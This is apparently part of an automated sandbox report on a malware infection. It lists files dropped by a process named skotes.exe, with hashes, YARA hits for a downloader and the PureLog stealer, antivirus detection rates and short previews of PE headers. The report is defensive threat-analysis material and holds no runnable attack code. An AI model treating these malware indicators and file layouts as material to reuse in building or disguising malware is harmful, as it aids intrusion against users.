Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	810496
Entropy (8bit):	7.808597434734726
Encrypted:	false
SSDEEP:	24576:grtEhokkSG4bPWQ8C8z3zcB49CNPWQ8C8z3zcB49Cx:grGhokkSG4bPWQv8z3BYNPWQv8z3BYx
MD5:	E8AF4D0D0B47AC68D762B7F288AE8E6E
SHA1:	1D65F31526CC20AB41D6B1625D6674D7F13E326C
SHA-256:	B83449768E7AF68867C8BC42B19FF012722D88EA66AEF69DF48661E63E0EB15E
SHA-512:	80FAD90314FF639F538A72C5E4CA2BF9AE52B9309CAA7CD6F87D61791505BB3612B7F3190AB9B67348C5D71F4D29BB9D101E3F66D525EB9B5E2060A10B2D187A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....^g.........."......f........................@.......................................@.....................................P....p..........................x...........................x.......................`...\|............................text...md.......f.................. ..`.rdata..............n..............@..@.data...,%... ......................@....CODE........P....... .............. ..`.tls.........`.......0..............@....rsrc........p.......2..............@..@.reloc..x............4..............@..B.bss.................R..............@....bss.........0......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4480512
Entropy (8bit):	7.982722793916352
Encrypted:	false
SSDEEP:	98304:5R5O5EL5UyXsVwLEKx8pUcNEExPX1eGBqUoWWeTKWcXcouisWn/dPCvQ:5REElBwwoCb6vlFjcWWqKZsouiRnVsQ
MD5:	B6AA4B3886F2272B307DF8DEE7426A4F
SHA1:	8C80DA0F5E93622C881E82693715CC81927684FE
SHA-256:	B571064C090D5A6B22AECF6DF5A534BF2481C0D77962369C6C4FB1500C1AD47E
SHA-512:	9C9F34423EB5498B5D26A9F34CB104B8F1404F76A060BC549A7A7FCD4AE7608A7F22E1C859DB652331CAB426453C17BE093AF0959BF8A7B50E72AD28EBFDBC96
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.VH...v..2...0.......pH...@..........................`.......pD...@... ............................._pt.s....`t............................................................................................................. . .Pt......L(.................@....rsrc........`t......\(.............@....idata .....pt......^(.............@... ..8...t......`(.............@...bxszsxlr.....@.......b(.............@...ezgbzeah..... .......8D.............@....taggant.0...0..."...<D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4467712
Entropy (8bit):	7.982546494683598
Encrypted:	false
SSDEEP:	49152:zzpGe8CUK7MPRNn3TBf09wOoUPp7bviaCdRclC3/hfrVHTKe1mwYAYu3wXC3fVNI:JSaM5R4tisoPhJH2kxYAp3wX00ECn4J
MD5:	C56FED47E77D1B3103C94496F1371878
SHA1:	8B1AC848C5EF777E8DE09157301043D6367F59AE
SHA-256:	2C57A53D4A3C03769ED9302FC18CFF7A4A5F26E4164023814CC28E92565D7381
SHA-512:	A61F54E66CC8C4AF23A79F5F4DA2AA2A0FED8FB7452914BEF6B9E9441ED075337CCB34300B0ADB2BE9BB93A54255578BCBA2EBFAC81D4FD7CA1FC396CFF42184
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.JI..Lu..2...........`I...@...................................D...@... ............................._.r.s.....r.....................................................@....................................................... . ..r......4(.................@....rsrc.........r......D(.............@....idata ......r......F(.............@... .@9...r......H(.............@...bekbudto.............J(.............@...bwpgbubu..............D.............@....taggant.0......."....D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1374720
Entropy (8bit):	7.0671827674657335
Encrypted:	false
SSDEEP:	24576:fYlZH+uQDPYLZtPikfLyXFD3qRc4f6GO4k88P9VB77Ml8fmMxHr:fYu7DPYLZtakzyVD3ELCh//+8fmW
MD5:	669ED3665495A4A52029FF680EC8EBA9
SHA1:	7785E285365A141E307931CA4C4EF00B7ECC8986
SHA-256:	2D2D405409B128EEA72A496CCFF0ED56F9ED87EE2564AE4815B4B116D4FB74D6
SHA-512:	BEDC8F7C1894FC64CDD00EBC58B434B7D931E52C198A0FA55F16F4E3D44A7DC4643EAA78EC55A43CC360571345CD71D91A64037A135663E72EED334FE77A21E6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 28%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....h.D..........&....&..........................@..........................p......\U....@... ..............................P..........,l.......................c...................................................T...............................text...............................`..`.data...H...........................@....rdata..............................@..@.eh_fram............p..............@..@.bss....4....@...........................idata.......P......................@....CRT....8....p.......$..............@....tls.................&..............@....rsrc...,l.......n...(..............@..@.reloc...c.......d..................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3286016
Entropy (8bit):	7.310046848182974
Encrypted:	false
SSDEEP:	49152:yla31k0wuMKWrJSYQTdfjfkn46z2jnVGd7jyy7qaJJR0BmXSyYO3:yla3/tS4K2jnVGRjHLJfV
MD5:	C00A67D527EF38DC6F49D0AD7F13B393
SHA1:	7B8F2DE130AB5E4E59C3C2F4A071BDA831AC219D
SHA-256:	12226CCAE8C807641241BA5178D853AAD38984EEFB0C0C4D65ABC4DA3F9787C3
SHA-512:	9286D267B167CBA01E55E68C8C5582F903BED0DD8BC4135EB528EF6814E60E7D4DDA2B3611E13EFB56AA993635FBAB218B0885DAF5DAEA6043061D8384AF40CA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....V...............P.../..Z......../.. ....0...@.. ........................2...........@.................................../.K.....0.@W...................`2.....3./.............................................. ............... ..H............text...../.. ..../................. ..`.rsrc...@W....0..X..../.............@..@.reloc.......`2......"2.............@..B................../.....H...........@.......C...@...z..........................................6+.(B.99(......:+.(.^A.(!............(..........................(.....0..........(...8y.......E....c...O.../...8^...s......... .....:....&8....s.........8....s......... .....9....& ....8....s......... ....8....s.........8.......0..............0..............0..............0..............0............................0..............0.....................0.................*...".......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.338206717136569
Encrypted:	false
SSDEEP:	384:78HIRrJs1HLBDhq5RWBNBlBThtq2uoyLizwxeNLHdWuNMV275RtAcL8SFS69rvwM:Qqls1HLBDhIRWbXlq2uVk75RuSFSm6EJ
MD5:	04F57C6FB2B2CD8DCC4B38E4A93D4366
SHA1:	61770495AA18D480F70B654D1F57998E5BD8C885
SHA-256:	51E4D0CBC184B8ABFA6D84E219317CF81BD542286A7CC602C87EB703A39627C2
SHA-512:	53F95E98A5ECA472ED6B1DFD6FECD1E28EA66967A1B3AA109FE911DBB935F1ABF327438D4B2FE72CF7A0201281E9F56F4548F965B96E3916B9142257627E6CCD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 18%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f.7..........."...0..L...........j... ........@.. ....................................`.................................<j..O....................................i..8............................................ ............... ..H............text....J... ...L.................. ..`.rsrc................N..............@..@.reloc...............T..............@..B................pj......H.......(7...2...........................................................0..8.......s/.....(....} .....}!.....}.....\| .....(...+.\| ...(.....0..P........~.........,B.r...p(.....r...p(.....(.....r...p.(....(......(....o......(.......0..8.......s2.....(....}(.....}).....}'....\|(.....(...+.\|(...(.....0..H........s......./......+....~.....~.....io.........X.......-.r...p.(......+....0............r...p( ...o!....+.....0............r...p( ...o!....+.....0..2.........r...pr...p

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.38001807625381
Encrypted:	false
SSDEEP:	48:jWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMuge//MPUyus:jLHyIFKL3IZ2KRH9Ougss
MD5:	E71B13E731C0A28C6DDAF2053F092003
SHA1:	31873CC1585C2D37A302C43F8CF61525574AC145
SHA-256:	380C56C94D41ED5644140D0504F89848789BC8E72B77C4A0248F0B5B28D0D72B
SHA-512:	5D03CEB8DF4E710153E9B1B223A6391DC621CA2D64561312C78C5582AB82FC05AF84B454485BFDAED38E953291C1D86C58ED3BDACC43BDC1D77EB0ACC49B1BFA
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3286016
Entropy (8bit):	7.310046848182974
Encrypted:	false
SSDEEP:	49152:yla31k0wuMKWrJSYQTdfjfkn46z2jnVGd7jyy7qaJJR0BmXSyYO3:yla3/tS4K2jnVGRjHLJfV
MD5:	C00A67D527EF38DC6F49D0AD7F13B393
SHA1:	7B8F2DE130AB5E4E59C3C2F4A071BDA831AC219D
SHA-256:	12226CCAE8C807641241BA5178D853AAD38984EEFB0C0C4D65ABC4DA3F9787C3
SHA-512:	9286D267B167CBA01E55E68C8C5582F903BED0DD8BC4135EB528EF6814E60E7D4DDA2B3611E13EFB56AA993635FBAB218B0885DAF5DAEA6043061D8384AF40CA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 54%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....V...............P.../..Z......../.. ....0...@.. ........................2...........@.................................../.K.....0.@W...................`2.....3./.............................................. ............... ..H............text...../.. ..../................. ..`.rsrc...@W....0..X..../.............@..@.reloc.......`2......"2.............@..B................../.....H...........@.......C...@...z..........................................6+.(B.99(......:+.(.^A.(!............(..........................(.....0..........(...8y.......E....c...O.../...8^...s......... .....:....&8....s.........8....s......... .....9....& ....8....s......... ....8....s.........8.......0..............0..............0..............0..............0............................0..............0.....................0.................*...".......

C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4480512
Entropy (8bit):	7.982722793916352
Encrypted:	false
SSDEEP:	98304:5R5O5EL5UyXsVwLEKx8pUcNEExPX1eGBqUoWWeTKWcXcouisWn/dPCvQ:5REElBwwoCb6vlFjcWWqKZsouiRnVsQ
MD5:	B6AA4B3886F2272B307DF8DEE7426A4F
SHA1:	8C80DA0F5E93622C881E82693715CC81927684FE
SHA-256:	B571064C090D5A6B22AECF6DF5A534BF2481C0D77962369C6C4FB1500C1AD47E
SHA-512:	9C9F34423EB5498B5D26A9F34CB104B8F1404F76A060BC549A7A7FCD4AE7608A7F22E1C859DB652331CAB426453C17BE093AF0959BF8A7B50E72AD28EBFDBC96
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.VH...v..2...0.......pH...@..........................`.......pD...@... ............................._pt.s....`t............................................................................................................. . .Pt......L(.................@....rsrc........`t......\(.............@....idata .....pt......^(.............@... ..8...t......`(.............@...bxszsxlr.....@.......b(.............@...ezgbzeah..... .......8D.............@....taggant.0...0..."...<D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	810496
Entropy (8bit):	7.808597434734726
Encrypted:	false
SSDEEP:	24576:grtEhokkSG4bPWQ8C8z3zcB49CNPWQ8C8z3zcB49Cx:grGhokkSG4bPWQv8z3BYNPWQv8z3BYx
MD5:	E8AF4D0D0B47AC68D762B7F288AE8E6E
SHA1:	1D65F31526CC20AB41D6B1625D6674D7F13E326C
SHA-256:	B83449768E7AF68867C8BC42B19FF012722D88EA66AEF69DF48661E63E0EB15E
SHA-512:	80FAD90314FF639F538A72C5E4CA2BF9AE52B9309CAA7CD6F87D61791505BB3612B7F3190AB9B67348C5D71F4D29BB9D101E3F66D525EB9B5E2060A10B2D187A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....^g.........."......f........................@.......................................@.....................................P....p..........................x...........................x.......................`...\|............................text...md.......f.................. ..`.rdata..............n..............@..@.data...,%... ......................@....CODE........P....... .............. ..`.tls.........`.......0..............@....rsrc........p.......2..............@..@.reloc..x............4..............@..B.bss.................R..............@....bss.........0......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1374720
Entropy (8bit):	7.0671827674657335
Encrypted:	false
SSDEEP:	24576:fYlZH+uQDPYLZtPikfLyXFD3qRc4f6GO4k88P9VB77Ml8fmMxHr:fYu7DPYLZtakzyVD3ELCh//+8fmW
MD5:	669ED3665495A4A52029FF680EC8EBA9
SHA1:	7785E285365A141E307931CA4C4EF00B7ECC8986
SHA-256:	2D2D405409B128EEA72A496CCFF0ED56F9ED87EE2564AE4815B4B116D4FB74D6
SHA-512:	BEDC8F7C1894FC64CDD00EBC58B434B7D931E52C198A0FA55F16F4E3D44A7DC4643EAA78EC55A43CC360571345CD71D91A64037A135663E72EED334FE77A21E6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 28%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....h.D..........&....&..........................@..........................p......\U....@... ..............................P..........,l.......................c...................................................T...............................text...............................`..`.data...H...........................@....rdata..............................@..@.eh_fram............p..............@..@.bss....4....@...........................idata.......P......................@....CRT....8....p.......$..............@....tls.................&..............@....rsrc...,l.......n...(..............@..@.reloc...c.......d..................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.338206717136569
Encrypted:	false
SSDEEP:	384:78HIRrJs1HLBDhq5RWBNBlBThtq2uoyLizwxeNLHdWuNMV275RtAcL8SFS69rvwM:Qqls1HLBDhIRWbXlq2uVk75RuSFSm6EJ
MD5:	04F57C6FB2B2CD8DCC4B38E4A93D4366
SHA1:	61770495AA18D480F70B654D1F57998E5BD8C885
SHA-256:	51E4D0CBC184B8ABFA6D84E219317CF81BD542286A7CC602C87EB703A39627C2
SHA-512:	53F95E98A5ECA472ED6B1DFD6FECD1E28EA66967A1B3AA109FE911DBB935F1ABF327438D4B2FE72CF7A0201281E9F56F4548F965B96E3916B9142257627E6CCD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 18%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f.7..........."...0..L...........j... ........@.. ....................................`.................................<j..O....................................i..8............................................ ............... ..H............text....J... ...L.................. ..`.rsrc................N..............@..@.reloc...............T..............@..B................pj......H.......(7...2...........................................................0..8.......s/.....(....} .....}!.....}.....\| .....(...+.\| ...(.....0..P........~.........,B.r...p(.....r...p(.....(.....r...p.(....(......(....o......(.......0..8.......s2.....(....}(.....}).....}'....\|(.....(...+.\|(...(.....0..H........s......./......+....~.....~.....io.........X.......-.r...p.(......+....0............r...p( ...o!....+.....0............r...p( ...o!....+.....0..2.........r...pr...p

C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4467712
Entropy (8bit):	7.982546494683598
Encrypted:	false
SSDEEP:	49152:zzpGe8CUK7MPRNn3TBf09wOoUPp7bviaCdRclC3/hfrVHTKe1mwYAYu3wXC3fVNI:JSaM5R4tisoPhJH2kxYAp3wX00ECn4J
MD5:	C56FED47E77D1B3103C94496F1371878
SHA1:	8B1AC848C5EF777E8DE09157301043D6367F59AE
SHA-256:	2C57A53D4A3C03769ED9302FC18CFF7A4A5F26E4164023814CC28E92565D7381
SHA-512:	A61F54E66CC8C4AF23A79F5F4DA2AA2A0FED8FB7452914BEF6B9E9441ED075337CCB34300B0ADB2BE9BB93A54255578BCBA2EBFAC81D4FD7CA1FC396CFF42184
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.JI..Lu..2...........`I...@...................................D...@... ............................._.r.s.....r.....................................................@....................................................... . ..r......4(.................@....rsrc.........r......D(.............@....idata ......r......F(.............@... .@9...r......H(.............@...bekbudto.............J(.............@...bwpgbubu..............D.............@....taggant.0......."....D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2h2yy3in.yce.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4kyc0ib2.oxe.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eahq205z.ijy.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eft0hgwo.22s.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fcywnijl.me2.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_quzoubiw.zv1.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sxjigh3v.bus.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_syyvc3jz.ujq.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3016192
Entropy (8bit):	6.564760591518184
Encrypted:	false
SSDEEP:	49152:2DvYp3SA4gRYB01iJSAVq0GP8vdJHKjHpf:6Qp/4gWB01iJFsL8vDqjp
MD5:	BCA5EC4FFD71FA455F22D475BA23ABC0
SHA1:	B2959885FD4196BDDD1D4FAC61EF4753D1FD6A4E
SHA-256:	561D2AAA8E31FE8FBBB460D098B1BB901DF3D0837199EDCDD34134652D3F9210
SHA-512:	F1613FC12260C82ECA27DD4E3486D5AC42551F6A739352282BE01C67E4E81918BBF34C943825102D8C635506010DA60C873075B14B238F6C227D9E74497124F7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
